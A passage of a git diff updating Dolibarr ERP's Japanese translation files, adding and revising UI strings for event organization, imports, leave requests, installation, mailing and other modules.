a/htdocs/langs/ja_JP/eventorganization.lang +++ b/htdocs/langs/ja_JP/eventorganization.lang @@ -54,6 +54,7 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = 出席者を作成/追加するフォ # Object # EventOrganizationConfOrBooth= 会議またはブース +EventOrganizationConfOrBoothes=会議またはブース ManageOrganizeEvent = イベントの構成を管理する ConferenceOrBooth = 会議またはブース ConferenceOrBoothTab = 会議またはブース @@ -114,15 +115,15 @@ EvntOrgRegistrationHelpMessage = ここでは、会議に投票したり、イ EvntOrgRegistrationConfHelpMessage = ここでは、イベント中にアニメーション化する新規会議を提案できる。 EvntOrgRegistrationBoothHelpMessage = ここでは、イベント中にブースを申請することができる。 ListOfSuggestedConferences = 提案された会議のリスト -ListOfSuggestedBooths = 提案ブース一覧 -ListOfConferencesOrBooths=イベントプロジェクトの会議やブースのリスト +ListOfSuggestedBooths=おすすめブース +ListOfConferencesOrBooths=イベントプロジェクトのカンファレンスやブース SuggestConference = 新規会議を提案する SuggestBooth = ブースを提案する ViewAndVote = 提案されたイベントを表示して投票する PublicAttendeeSubscriptionGlobalPage = イベントへの登録のための公開リンク PublicAttendeeSubscriptionPage = このイベントのみに登録するための公開リンク MissingOrBadSecureKey = セキュリティキーが無効であるか欠落している -EvntOrgWelcomeMessage = このフォームを使用すると、イベントの新しい参加者として登録できる: %s +EvntOrgWelcomeMessage = このフォームでは、イベントへの新規参加者として登録できる EvntOrgDuration = この会議は%sで始まり、%sで終わる。 ConferenceAttendeeFee = イベント:「 '%s' 開催は%sから%sまで」への会議参加料金。 BoothLocationFee = イベントのブース位置: '%s' で %s から %s まで @@ -132,7 +133,7 @@ LabelOfconference=会議ラベル ConferenceIsNotConfirmed=登録できない。会議はまだ確定されていない DateMustBeBeforeThan=%sは必ず%sの前 DateMustBeAfterThan=%sは必ず%sの後 - +MaxNbOfAttendeesReached=参加者の最大数に達した NewSubscription=登録 OrganizationEventConfRequestWasReceived=会議への提案を受け取った OrganizationEventBoothRequestWasReceived=ブースのご要望をいただいた @@ -157,7 +158,7 @@ VoteOk = あなたの投票が承認された。 AlreadyVoted = あなたは既にこのイベントに投票している。 VoteError = 投票中にエラーが発生した。もう一度やり直し願う。 -SubscriptionOk = 登録は検証済 +SubscriptionOk=登録が記録された ConfAttendeeSubscriptionConfirmation = イベントへのサブスクリプションの確定 Attendee = 参加者 PaymentConferenceAttendee = 会議参加者の支払 @@ -165,8 +166,11 @@ PaymentBoothLocation = ブースの場所の支払 DeleteConferenceOrBoothAttendee=出席者を削除する RegistrationAndPaymentWereAlreadyRecorder=電子メール%sの登録と支払は既に記録されている EmailAttendee=参加者の電子メール +EmailCompany=法人のメール EmailCompanyForInvoice=法人の電子メール(請求書に対して、参加者の電子メールと異なる場合) ErrorSeveralCompaniesWithEmailContactUs=このメールを使用している会社がいくつか見つかったため、登録を自動的に検証ことはできない。手動検証については、%sまで問い合わせること。 ErrorSeveralCompaniesWithNameContactUs=この名前の会社がいくつか見つかったため、登録を自動的に検証ことはできない。手動検証については、%sまで問い合わせること。 NoPublicActionsAllowedForThisEvent=このイベントの公開アクションは公開されていない MaxNbOfAttendees=参加者の最大数 +DateStartEvent=イベント開始日 +DateEndEvent=イベント終了日 diff --git a/htdocs/langs/ja_JP/exports.lang b/htdocs/langs/ja_JP/exports.lang index bb71ad8bd21..ea382c41a88 100644 --- a/htdocs/langs/ja_JP/exports.lang +++ b/htdocs/langs/ja_JP/exports.lang @@ -18,6 +18,7 @@ ExportableFields=エクスポート可能なフィールド ExportedFields=エクスポートするフィールド ImportModelName=インポート·プロファイル名 ImportModelSaved= %sとして保存されたインポートプロファイル。 +ImportProfile=プロファイルのインポート DatasetToExport=エクスポートするデータセット DatasetToImport=データセットをインポートするファイル ChooseFieldsOrdersAndTitle=フィールドの順序を選択... @@ -53,6 +54,7 @@ TypeOfLineServiceOrProduct=行の種類(0 =製品、1 =サービス) FileWithDataToImport=インポートするデータを持つファイル FileToImport=インポートするソースファイル FileMustHaveOneOfFollowingFormat=インポートするファイルは、次のいずれかの形式である必要がある +DownloadEmptyExampleShort=サンプルファイルをダウンロードする DownloadEmptyExample=インポートできるフィールドの例と情報を含むテンプレートファイルをダウンロードする StarAreMandatory=テンプレートファイルでは、*が付いているすべてのフィールドは必須フィールド ChooseFormatOfFileToImport=%sアイコンをクリックして選択し、インポートファイル形式として使用するファイル形式を選択する... @@ -82,7 +84,7 @@ SelectFormat=このインポートファイル形式を選択する。 RunImportFile=データのインポート NowClickToRunTheImport=インポートシミュレーションの結果を確認すること。エラーを修正して再テストする。
      シミュレーションでエラーが報告されない場合は、データベースへのデータのインポートに進むことができる。 DataLoadedWithId=インポートされたデータには、各データベーステーブルに次のインポートIDの追加フィールドがある: %s このインポートに関連する問題を調査する場合に、データを検索できるようにする。 -ErrorMissingMandatoryValue=フィールド%sのソースファイルの必須データが空 。 +ErrorMissingMandatoryValue=列%sのソースファイルの必須データが空。 TooMuchErrors=エラーのある%s の他のソース行がまだあるが、出力は制限されている。 TooMuchWarnings=警告のある他のソース行はまだ%s が、出力は制限されている。 EmptyLine=空行(破棄される) @@ -92,9 +94,9 @@ YouCanUseImportIdToFindRecord=フィールドimport_key = '%s' でフィ NbOfLinesOK=エラーなしで警告なしの行数:%s。 NbOfLinesImported=正常インポートの行数:%s。 DataComeFromNoWhere=挿入する値は、ソース·ファイル内のどこからも来ていない。 -DataComeFromFileFieldNb=挿入する値は、ソースファイル内のフィールド番号%sから来ている。 -DataComeFromIdFoundFromRef=ソースファイルのフィールド番号%s からの値は、使用する親オブジェクトのIDを見つけるために使用される(したがって、オブジェクト %s がデータベースに存在し、ソースファイルからの参照符号を持つ必要がある)。 -DataComeFromIdFoundFromCodeId=ソースファイルのフィールド番号%s からのコードは、使用する親オブジェクトのIDを見つけるために使用される(したがって、ソースファイルのコードはディクショナリ %s に存在する必要がある)。 IDがわかっている場合、コードの代わりにソースファイルでそれを使用することもできる。インポートはどちらの場合でも機能するはず 。 +DataComeFromFileFieldNb=挿入する値は、ソースファイルの列%sから取得される。 +DataComeFromIdFoundFromRef=ソース ファイルから得られる値は、使用する親オブジェクトの ID を見つけるために使用される (したがって、ソース ファイルからの参照を持つオブジェクト %s がデータベースに存在する必要がある)。 +DataComeFromIdFoundFromCodeId=ソース ファイルからのコードの値は、使用する親オブジェクトの ID を見つけるために使用される (したがって、ソース ファイルからのコードは辞書 %s に存在する必要がある)。 ID が分かっている場合は、コードの代わりにソース ファイルでも使用できることに注意すること。インポートはどちらの場合でも機能するはず。 DataIsInsertedInto=ソースファイルからのデータは、次のフィールドに挿入される。 DataIDSourceIsInsertedInto=ソースファイルのデータを使用して検出された親オブジェクトのIDは、次のフィールドに挿入される。 DataCodeIDSourceIsInsertedInto=コードから見つかった親行のIDは、次のフィールドに挿入される。 @@ -132,9 +134,14 @@ FormatControlRule=フォーマット制御ルール ## imports updates KeysToUseForUpdates=既存のデータを更新するために使用するキー(列) NbInsert=挿入された行数:%s +NbInsertSim=挿入予定行数: %s NbUpdate=更新された行数:%s +NbUpdateSim=更新予定行数: %s MultipleRecordFoundWithTheseFilters=これらのフィルタで複数のレコードが見つかった:%s StocksWithBatch=バッチ/シリアル番号のある製品の在庫と場所(倉庫) WarningFirstImportedLine=最初の行(s)は、現在の選択ではインポートされない NotUsedFields=使用されていないデータベースのフィールド SelectImportFieldsSource = 各選択ボックスのフィールドを選択して、インポートするソースファイルフィールドとデータベース内のターゲットフィールドを選択するか、事前定義されたインポートプロファイルを選択する。 +MandatoryTargetFieldsNotMapped=一部の必須ターゲットフィールドがマップされていない +AllTargetMandatoryFieldsAreMapped=必須値を必要とするすべてのターゲットフィールドがマップされる +ResultOfSimulationNoError=シミュレーション結果:エラーなし diff --git a/htdocs/langs/ja_JP/holiday.lang b/htdocs/langs/ja_JP/holiday.lang index dec4b487e60..a95c16584d1 100644 --- a/htdocs/langs/ja_JP/holiday.lang +++ b/htdocs/langs/ja_JP/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM Holidays=有給休暇 +Holiday=有給休暇 CPTitreMenu=有給休暇 MenuReportMonth=月次報告 MenuAddCP=新規休暇申請 +MenuCollectiveAddCP=新規集団休暇申請 NotActiveModCP=このページを表示するには、モジュールLeaveを有効にする必要がある。 AddCP=休暇申請をする DateDebCP=開始日 @@ -56,6 +58,7 @@ ConfirmDeleteCP=この休暇申請の削除を確定するか? ErrorCantDeleteCP=エラー この休暇申請を削除する権利がない。 CantCreateCP=休暇申請をする権利がない。 InvalidValidatorCP=休暇申請の承認者を選択する必要がある。 +InvalidValidator=選択したユーザは承認者ではない。 NoDateDebut=開始日を選択する必要がある。 NoDateFin=終了日を選択する必要がある。 ErrorDureeCP=休暇申請には就業日が含まれていない。 @@ -79,6 +82,8 @@ MotifCP=理由 UserCP=ユーザ ErrorAddEventToUserCP=例外休暇の追加中にエラーが発生した。 AddEventToUserOkCP=特別休暇の追加が完了した。 +ErrorFieldRequiredUserOrGroup=「グループ」フィールドまたは「ユーザ」フィールドに入力する必要がある +fusionGroupsUsers=グループフィールドとユーザフィールドがマージされる MenuLogCP=変更ログを表示する LogCP="Balance of Leave" に加えられた全更新ログ ActionByCP=更新済の原因 @@ -86,6 +91,13 @@ UserUpdateCP=更新済の対象 PrevSoldeCP=以前のバランス NewSoldeCP=ニューバランス alreadyCPexist=この期間は既に休暇申請が行われている。 +UseralreadyCPexist=%sについては、この期間にすでに休暇申請が行われている。 +groups=グループ +users=ユーザ +AutoSendMail=自動郵送 +NewHolidayForGroup=新規集団休暇申請 +SendRequestCollectiveCP=集団休暇申請の送信 +AutoValidationOnCreate=自動検証 FirstDayOfHoliday=休暇申請の開始日 LastDayOfHoliday=休暇申請の終了日 BoxTitleLastLeaveRequests=最新の%s変更された休暇申請 @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%sは、通常、非稼働日。 BlockHolidayIfNegative=残高がマイナスの場合はブロック LeaveRequestCreationBlockedBecauseBalanceIsNegative=残高がマイナスのため、休暇申請作成はブロックされた ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=休暇申請%sは下書きのままとし、取消済や拒否済のものは削除すること +IncreaseHolidays=休日を増やす +HolidayRecordsIncreased= %s 休日の記録が増加 +HolidayRecordIncreased=休日の記録が伸びた +ConfirmMassIncreaseHoliday=休日一括増額 +NumberDayAddMass=選択に追加する日数 +ConfirmMassIncreaseHolidayQuestion=選択済レコード(s) %s の休日を増やしてもよいか? +HolidayQtyNotModified=%s の残りの日数は変更されていません diff --git a/htdocs/langs/ja_JP/install.lang b/htdocs/langs/ja_JP/install.lang index 6983572ab28..eef2f22fff3 100644 --- a/htdocs/langs/ja_JP/install.lang +++ b/htdocs/langs/ja_JP/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=PHPバージョンが古すぎ。バージョン%s以降 ErrorPHPVersionTooHigh=PHPバージョンが高すぎる。バージョン%s以下が必要。 ErrorConnectedButDatabaseNotFound=サーバーへの接続は成功したが、データベース '%s'が見つからない。 ErrorDatabaseAlreadyExists=データベース %s は既に存在する。 +ErrorNoMigrationFilesFoundForParameters=選択したバージョンの移行ファイルが見つからない IfDatabaseNotExistsGoBackAndUncheckCreate=データベースが存在しない場合は、戻って "データベースの作成" オプションをオンにする。 IfDatabaseExistsGoBackAndCheckCreate=データベースが既に存在する場合は、戻ってチェックを外してオプションの "データベースの作成" を参照すること。 WarningBrowserTooOld=ブラウザのバージョンが古すぎる。ブラウザをFirefox、Chrome、またはOperaの最新バージョンにアップグレードすることを強くお勧めする。 @@ -50,7 +51,6 @@ DatabaseName=データベース名 DatabasePrefix=データベースのテーブル接頭辞 DatabasePrefixDescription=データベースのテーブル接頭辞。空欄にするとデフォルトの「llx_」が設定される。 AdminLogin=Dolibarrデータベース所有者のユーザアカウント。 -PasswordAgain=パスワード確定の再入力 AdminPassword=Dolibarrデータベースの所有者のパスワード。 CreateDatabase=データベースを作成する。 CreateUser=Dolibarrデータベースでユーザアカウントを作成するか、ユーザアカウントのアクセス許可を付与する @@ -88,7 +88,7 @@ LoginAlreadyExists=既に存在する DolibarrAdminLogin=Dolibarr 管理者ログイン AdminLoginAlreadyExists=Dolibarr管理者アカウント ' %s'は既に存在する。別のものを作成したい場合は戻ること。 FailedToCreateAdminLogin=Dolibarr管理者アカウントの作成に失敗した。 -WarningRemoveInstallDir=警告:セキュリティ上の理由から、インストールツールの不意または悪意ある再使用を防ぐため、インストールまたはアップグレードの完了後に install.lockというファイルをドキュメントディレクトリにアップロードすること。 +WarningRemoveInstallDir=警告: セキュリティ上の理由から、インストール プロセスが完了したら、 install.lock というファイルを Dolibarr ドキュメント ディレクトリに追加して、インストール ツールの偶発的または悪意のある使用を再度防止する必要がある。 FunctionNotAvailableInThisPHP=このPHPでは使用できない ChoosedMigrateScript=移行スクリプトを選択する。 DataMigration=データベースの移行(データ) @@ -130,7 +130,7 @@ MigrationShippingDelivery=出荷の保管庫をアップグレード MigrationShippingDelivery2=出荷 2 の保管庫をアップグレード MigrationFinished=マイグレーションが終了した LastStepDesc= 最後のステップ:Dolibarrへの接続に使用するログインとパスワードを設定する。 他の全ユーザアカウント・追加のユーザアカウントを管理するためのマスターアカウントであるため、紛失しないようにして下さい。 -ActivateModule=モジュール%sを有効化する +ActivateModule=モジュール%sを活性化する ShowEditTechnicalParameters=高度なパラメータを表示/編集するには、ここをクリックすること (エキスパートモード) WarningUpgrade=警告:\n最初にデータベースバックアップを実行したか?\nこれを強くお勧めする。このプロセス中にデータが失われる可能性があるため(たとえば、mysqlバージョン5.5.40 / 41/42/43のバグが原因)、移行を開始する前にデータベースの完全なダンプを取得することが不可欠。\n\n "OK" をクリックして移行プロセスを開始する... ErrorDatabaseVersionForbiddenForMigration=データベースのバージョンは%s。重大なバグがあり、移行プロセスで必要になるなど、データベースに構造的な変更を加えるとデータが失われる可能性がある。彼の理由により、データベースをレイヤー(パッチ)バージョンにアップグレードするまで移行は許可されない(既知のバグのあるバージョンのリスト:%s) @@ -208,7 +208,12 @@ HideNotAvailableOptions=利用できないオプションを非表示にする ErrorFoundDuringMigration=移行プロセス中にエラーが報告されたため、次のステップは利用できない。エラーを無視するには、ここをクリックできるが、エラーが解決されるまで、アプリケーションまたは一部の機能が正しく動作しない場合がある。 YouTryInstallDisabledByDirLock=アプリケーションは自己アップグレードを試みたが、インストール/アップグレードページはセキュリティのために無効になっている(ディレクトリの名前が.lockサフィックスに変更された)。
      YouTryInstallDisabledByFileLock=アプリケーションは自己アップグレードを試みたが、インストール/アップグレードページはセキュリティのために無効になっている(dolibarrドキュメントディレクトリにロックファイル install.lock が存在するため)。
      +YouTryUpgradeDisabledByMissingFileUnLock=アプリケーションは自己アップグレードを試みたが、アップグレード プロセスは現在許可されない。
      ClickHereToGoToApp=アプリケーションに移動するには、ここをクリックすること ClickOnLinkOrRemoveManualy=アップグレードが進行中の場合は、しばらく待つこと。そうでない場合は、次のリンクをクリックすること。この同じページが常に表示される場合は、documentsディレクトリのinstall.lockファイルを削除/名前変更する必要がある。 +ClickOnLinkOrCreateUnlockFileManualy=アップグレードが進行中の場合は、しばらく待つこと... そうでない場合は、ファイル upgrade.unlock を Dolibarr ドキュメント ディレクトリに作成する必要がある。 Loaded=ロード済 FunctionTest=機能テスト +NodoUpgradeAfterDB=データベースのアップグレード後、外部モジュールによって要求されたアクションはない +NodoUpgradeAfterFiles=ファイルまたはディレクトリのアップグレード後、外部モジュールによるアクションは不要 +MigrationContractLineRank=契約明細を移行してランクを使用する (および再注文を有効化) diff --git a/htdocs/langs/ja_JP/interventions.lang b/htdocs/langs/ja_JP/interventions.lang index 4649c3ccf8f..cca5ba8fe01 100644 --- a/htdocs/langs/ja_JP/interventions.lang +++ b/htdocs/langs/ja_JP/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=出張レコードの日付フィールドから InterventionStatistics=出張の統計 NbOfinterventions=出張カードの数 NumberOfInterventionsByMonth=月ごとの出張カードの数(検証日) -AmountOfInteventionNotIncludedByDefault=出張の量はデフォルトでは利益に含まれていない(ほとんどの場合、タイムシートは費やされた時間カウント のために使用される)。それらを含めるには、ホーム - 設定 - その他 にて、オプションPROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFITを1で追加。 +AmountOfInteventionNotIncludedByDefault=デフォルトでは、出張総額は利益に含まれない (ほとんどの場合、タイムシートは費やされた時間をカウントするために使用される)。 PROJECT_ELEMENTS_FOR_ADD_MARGIN および PROJECT_ELEMENTS_FOR_MINUS_MARGIN オプションを home-setup-other に使用し、利益に含まれる要素のリストとして完結させることができる。 InterId=出張ID InterRef=出張参照。 InterDateCreation=日付作成出張 @@ -68,3 +68,5 @@ ConfirmReopenIntervention=出張 %s を開いてよいか? GenerateInter=出張を生成する FichinterNoContractLinked=出張%sは、リンクされた契約なしで作成された。 ErrorFicheinterCompanyDoesNotExist=法人は存在しない。出張は作成されていない。 +NextDateToIntervention=次回出張日付生成 +NoIntervention=介入なし diff --git a/htdocs/langs/ja_JP/loan.lang b/htdocs/langs/ja_JP/loan.lang index 3cb194418ad..5d93b24f080 100644 --- a/htdocs/langs/ja_JP/loan.lang +++ b/htdocs/langs/ja_JP/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = 支払いが開始されたローンの CantModifyInterestIfScheduleIsUsed = スケジュールを使用する場合、利息を変更することはできない # Admin ConfigLoan=モジュールローンの構成 -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=デフォルトの勘定科目資本 -LOAN_ACCOUNTING_ACCOUNT_INTEREST=デフォルトの勘定科目利息 -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=デフォルトの勘定科目保険 +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=デフォルトで資本に使用されるアカウント (勘定科目表から) (ローンモジュール) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=デフォルトで利子に使用される口座 (勘定科目表から) (ローン モジュール) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=デフォルトで保険に使用される口座 (勘定科目表から) (ローン モジュール) CreateCalcSchedule=財政的コミットメントを編集する diff --git a/htdocs/langs/ja_JP/mailmanspip.lang b/htdocs/langs/ja_JP/mailmanspip.lang index 33d3598ec21..e9431eaa712 100644 --- a/htdocs/langs/ja_JP/mailmanspip.lang +++ b/htdocs/langs/ja_JP/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=サブスクリプションテストが正常に実行さ MailmanDeletionSuccess=サブスクリプション解除テストが正常に実行された SynchroMailManEnabled=Mailmanの更新が実行される SynchroSpipEnabled=Spipの更新が実行される -DescADHERENT_MAILMAN_ADMINPW=Mailman管理者パスワード +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman 管理者パスワード DescADHERENT_MAILMAN_URL=MailmanサブスクリプションのURL DescADHERENT_MAILMAN_UNSUB_URL=Mailmanのサブスクリプション解除のURL DescADHERENT_MAILMAN_LISTS=新規構成員の自動登録用のリスト(s)(コンマで区切る) diff --git a/htdocs/langs/ja_JP/mails.lang b/htdocs/langs/ja_JP/mails.lang index d3b4be716b5..adbda32c39b 100644 --- a/htdocs/langs/ja_JP/mails.lang +++ b/htdocs/langs/ja_JP/mails.lang @@ -7,10 +7,10 @@ MailCard=カードをメールで送信 MailRecipients=受取人 MailRecipient=受信者 MailTitle=説明 -MailFrom=送信者 +MailFrom=期初 MailErrorsTo=エラーへ MailReply=に返信 -MailTo=受信者(単数または複数) +MailTo=期末 MailToUsers=ユーザ(s)へ MailCC=にコピー MailToCCUsers=ユーザs(s)にコピーする @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=位置別の連絡先 MailingModuleDescEmailsFromFile=ファイルからのメール MailingModuleDescEmailsFromUser=ユーザが入力したメール MailingModuleDescDolibarrUsers=メールを持っているユーザ -MailingModuleDescThirdPartiesByCategories=取引先(カテゴリ別) +MailingModuleDescThirdPartiesByCategories=取引先 SendingFromWebInterfaceIsNotAllowed=Webインターフェイスからの送信は許可されていない。 EmailCollectorFilterDesc=メールを取得するには、全フィルタが適合している必要がある @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=電子メールコレクター%sによって電子 DefaultBlacklistMailingStatus=新しい連絡先を作成するときのフィールド「%s」のデフォルト値 DefaultStatusEmptyMandatory=空だが必須 WarningLimitSendByDay=警告:インスタンスのセットアップまたはコントラクトにより、1日あたりのメール数が%sに制限される。さらに送信しようとすると、インスタンスの速度が低下したり、停止したりする可能性があります。より高い割り当てが必要な場合は、サポートに連絡すること。 +NoMoreRecipientToSendTo=メールを送信する受信者がもういない diff --git a/htdocs/langs/ja_JP/main.lang b/htdocs/langs/ja_JP/main.lang index f55325b6daa..90dad9a5433 100644 --- a/htdocs/langs/ja_JP/main.lang +++ b/htdocs/langs/ja_JP/main.lang @@ -34,6 +34,7 @@ NoTemplateDefined=このメールタイプには適用可能なテンプレー AvailableVariables=適用可能な代替変数s NoTranslation=翻訳無し Translation=翻訳 +Translations=翻訳 CurrentTimeZone=PHP(サーバー)のタイムゾーン EmptySearchString=空文字以外の検索候補を入力 EnterADateCriteria=日付基準を入力する @@ -150,8 +151,8 @@ Period=期間 PeriodEndDate=期間の終了日 SelectedPeriod=選択した期間 PreviousPeriod=前回の期間 -Activate=有効化 -Activated=有効化済 +Activate=活性化 +Activated=活性化済 Closed=閉じた Closed2=閉じた NotClosed=未閉鎖 @@ -205,6 +206,7 @@ Valid=有効な Approve=承認する Disapprove=不承認 ReOpen=再オープン +OpenVerb=開く Upload=アップロード ToLink=リンク Select=選択する @@ -222,8 +224,9 @@ UserGroup=ユーザ・グループ UserGroups=ユーザ・グループs NoUserGroupDefined=ユーザグループが定義されていない Password=パスワード -PasswordRetype=パスワードを再入力 +PasswordRetype=パスワードを繰り返す NoteSomeFeaturesAreDisabled=機能/モジュールの多くは、このデモで無効になっていることに注意すること。 +YourUserFile=ユーザーファイル Name=名 NameSlashCompany=名前/法人 Person=人 @@ -487,6 +490,7 @@ ActionsOnContact=この 連絡先/住所 に関する出来事 ActionsOnContract=この契約に関する出来事 ActionsOnMember=この構成員に関する出来事 ActionsOnProduct=この製品に関する出来事 +ActionsOnAsset=この固定資産のイベント NActionsLate=%s遅延 ToDo=すること Completed=完了済 @@ -510,6 +514,7 @@ NotYetAvailable=まだ利用できず NotAvailable=利用できず Categories=タグs/カテゴリs Category=タグ/カテゴリ +SelectTheTagsToAssign=割り当てるタグ/カテゴリを選択する By=によって From=から FromDate=から @@ -808,6 +813,7 @@ URLPhoto=写真/ロゴのURL SetLinkToAnotherThirdParty=別の第三者へのリンク LinkTo=リンク先 LinkToProposal=提案へのリンク +LinkToExpedition= 遠征へのリンク LinkToOrder=注文へのリンク LinkToInvoice=請求書へのリンク LinkToTemplateInvoice=テンプレート請求書へのリンク @@ -893,6 +899,9 @@ MassFilesArea=大量アクションによって作成されたファイルの領 ShowTempMassFilesArea=大量アクションによって作成されたファイルの領域を表示する ConfirmMassDeletion=一括削除確定 ConfirmMassDeletionQuestion=選択した%sレコード(s)を削除してもよいか? +ConfirmMassClone=バルククローンの確認 +ConfirmMassCloneQuestion=クローン先のプロジェクトを選択 +ConfirmMassCloneToOneProject=プロジェクト %s へのクローン RelatedObjects=関連オブジェクト ClassifyBilled=請求分類 ClassifyUnbilled=未請求を分類する @@ -908,13 +917,14 @@ ExportFilteredList=フィルタリングされたリストをエクスポート ExportList=エクスポートリスト ExportOptions=エクスポートオプション IncludeDocsAlreadyExported=既にエクスポートされたドキュメントを含める -ExportOfPiecesAlreadyExportedIsEnable=既にエクスポートされたピースのエクスポートが有効になる -ExportOfPiecesAlreadyExportedIsDisable=既にエクスポートされたピースのエクスポートは無効になっている +ExportOfPiecesAlreadyExportedIsEnable=すでにエクスポートされたドキュメントが表示され、エクスポートされる +ExportOfPiecesAlreadyExportedIsDisable=すでにエクスポートされたドキュメントは非表示になり、エクスポートされない AllExportedMovementsWereRecordedAsExported=エクスポートされた全動きは、エクスポートされたものとして記録された NotAllExportedMovementsCouldBeRecordedAsExported=エクスポートされた全動きをエクスポート済として記録できるわけではない Miscellaneous=その他 Calendar=カレンダー GroupBy=グループ化... +GroupByX=%s でグループ化 ViewFlatList=フラットリストを表示 ViewAccountList=元帳を表示 ViewSubAccountList=補助勘定科目元帳を表示 @@ -926,6 +936,7 @@ DirectDownloadInternalLink=非公開ダウンロードリンク PrivateDownloadLinkDesc=ログに記録する必要があり、ファイルを表示またはダウンロードするためのアクセス許可が必要 Download=ダウンロード DownloadDocument=ドキュメントをダウンロード +DownloadSignedDocument=署名済みドキュメントをダウンロード ActualizeCurrency=為替レートを更新する Fiscalyear=会計年度 ModuleBuilder=モジュールとアプリケーションビルダー @@ -1051,6 +1062,7 @@ SearchIntoContracts=契約 SearchIntoCustomerShipments=顧客の出荷 SearchIntoExpenseReports=経費報告書s SearchIntoLeaves=離れる +SearchIntoKM=知識ベース SearchIntoTickets=切符売場 SearchIntoCustomerPayments=顧客の支払 SearchIntoVendorPayments=仕入先の支払 @@ -1122,6 +1134,7 @@ DeleteFileText=本当にこのファイルを削除するか? ShowOtherLanguages=他の言語を表示する SwitchInEditModeToAddTranslation=この言語の翻訳を追加するには、編集モードに切り替える NotUsedForThisCustomer=この顧客には使用されていない +NotUsedForThisVendor=この仕入先には不使用 AmountMustBePositive=金額は正でなければならない ByStatus=状態別 InformationMessage=情報 @@ -1142,19 +1155,33 @@ EventReminder=イベントリマインダー UpdateForAllLines=全行を更新 OnHold=保留 Civility=敬称 -AffectTag=タグに影響を与える +AffectTag=タグを割り当てる +AffectUser=ユーザーを割り当てる +SetSupervisor=スーパーバイザを設定する CreateExternalUser=外部ユーザを作成する -ConfirmAffectTag=バルクタグの影響 -ConfirmAffectTagQuestion=選択した%sレコード(s)のタグに影響を与えてもよいか? +ConfirmAffectTag=タグの一括割り当て +ConfirmAffectUser=一括ユーザ割り当て +ProjectRole=各プロジェクト/機会に割り当てられた役割 +TasksRole=各タスクに割り当てられた役割 (使用されてれば) +ConfirmSetSupervisor=バルク スーパーバイザ 設定 +ConfirmUpdatePrice=値上げ/値下げ率を選択 +ConfirmAffectTagQuestion=選択したレコード(s) %s にタグを割り当ててもよいか? +ConfirmAffectUserQuestion=選択したレコード(s) %s にユーザを割り当ててもよろしいですか? +ConfirmSetSupervisorQuestion=スーパーバイザを %s 選択したレコード(s)に設定するか? +ConfirmUpdatePriceQuestion=%s 選択したレコード(s)の価格を更新してもよいか? CategTypeNotFound=レコードのタイプのタグタイプが見つからない +Rate=率 +SupervisorNotFound=スーパーバイザーが見つからない CopiedToClipboard=クリップボードにコピー InformationOnLinkToContract=この金額は、契約の全行の合計にすぎない。時間の概念は考慮されていない。 ConfirmCancel=本当にキャンセルしたいか EmailMsgID=メールMsgID +EmailDate=メール日付 +SetToStatus=ステータス %s に設定 SetToEnabled=有効に設定 SetToDisabled=無効に設定 ConfirmMassEnabling=一括有効化の確定 -ConfirmMassEnablingQuestion=選択した%sレコード(s)を有効にするか? +ConfirmMassEnablingQuestion=選択した%sレコード(s)を有効化するか? ConfirmMassDisabling=一括無効化の確定 ConfirmMassDisablingQuestion=選択した%sレコード(s)を無効にしてもよいか? RecordsEnabled=%sレコード(s)が有効 @@ -1179,11 +1206,24 @@ Terminated=解除された AddLineOnPosition=位置に行を追加(空の場合は最後に) ConfirmAllocateCommercial=営業担当者の確認を割り当てる ConfirmAllocateCommercialQuestion=選択した%sレコード(s)を割り当ててもよいか? -CommercialsAffected=影響を受ける営業担当者 -CommercialAffected=影響を受ける営業担当者 +CommercialsAffected=営業担当者の割り当て +CommercialAffected=営業担当者の割り当て YourMessage=あなたのメッセージ YourMessageHasBeenReceived=貴方のメッセージは受理済。できるだけ早く回答または連絡する予定。 UrlToCheck=チェックするURL Automation=オートメーション CreatedByEmailCollector=メールコレクターによって作成された CreatedByPublicPortal=公開ポータルから作成 +UserAgent=ユーザエージェント +InternalUser=内部ユーザ +ExternalUser=外部ユーザ +NoSpecificContactAddress=特定の連絡先や住所なし +NoSpecificContactAddressBis=このタブは、現在のオブジェクトの特定の連絡先またはアドレスを強制するためのもの。サードパーティに関する情報が十分でないか正確でない場合に、オブジェクトに対して 1 つまたは複数の特定の連絡先またはアドレスを定義する場合にのみ使用すること。 +HideOnVCard=%s を隠す +AddToContacts=連絡先にアドレスを追加 +LastAccess=最終アクセス +UploadAnImageToSeeAPhotoHere=タブ %s から画像をアップロードし、ここに写真を表示する +LastPasswordChangeDate=パスワードの最終変更日 +PublicVirtualCardUrl=仮想名刺ページのURL +PublicVirtualCard=仮想名刺 +TreeView=ツリー表示 diff --git a/htdocs/langs/ja_JP/margins.lang b/htdocs/langs/ja_JP/margins.lang index 2e7139ed039..244fc4f5ee4 100644 --- a/htdocs/langs/ja_JP/margins.lang +++ b/htdocs/langs/ja_JP/margins.lang @@ -6,6 +6,7 @@ TotalMargin=総利益 MarginOnProducts=利益/製品 MarginOnServices=利益/サービス MarginRate=利益率 +ModifyMarginRates=証拠金率の変更 MarkRate=マーク率 DisplayMarginRates=利益率を表示する DisplayMarkRates=マーク率を表示する diff --git a/htdocs/langs/ja_JP/members.lang b/htdocs/langs/ja_JP/members.lang index cb1bc7224fa..433a5718482 100644 --- a/htdocs/langs/ja_JP/members.lang +++ b/htdocs/langs/ja_JP/members.lang @@ -4,6 +4,8 @@ MemberCard=構成員カード SubscriptionCard=サブスクリプション·カード Member=構成員 Members=構成員 +NoRecordedMembers=登録メンバーなし +NoRecordedMembersByType=登録メンバーなし ShowMember=構成員カードを表示 UserNotLinkedToMember=構成員にリンクされていないユーザ 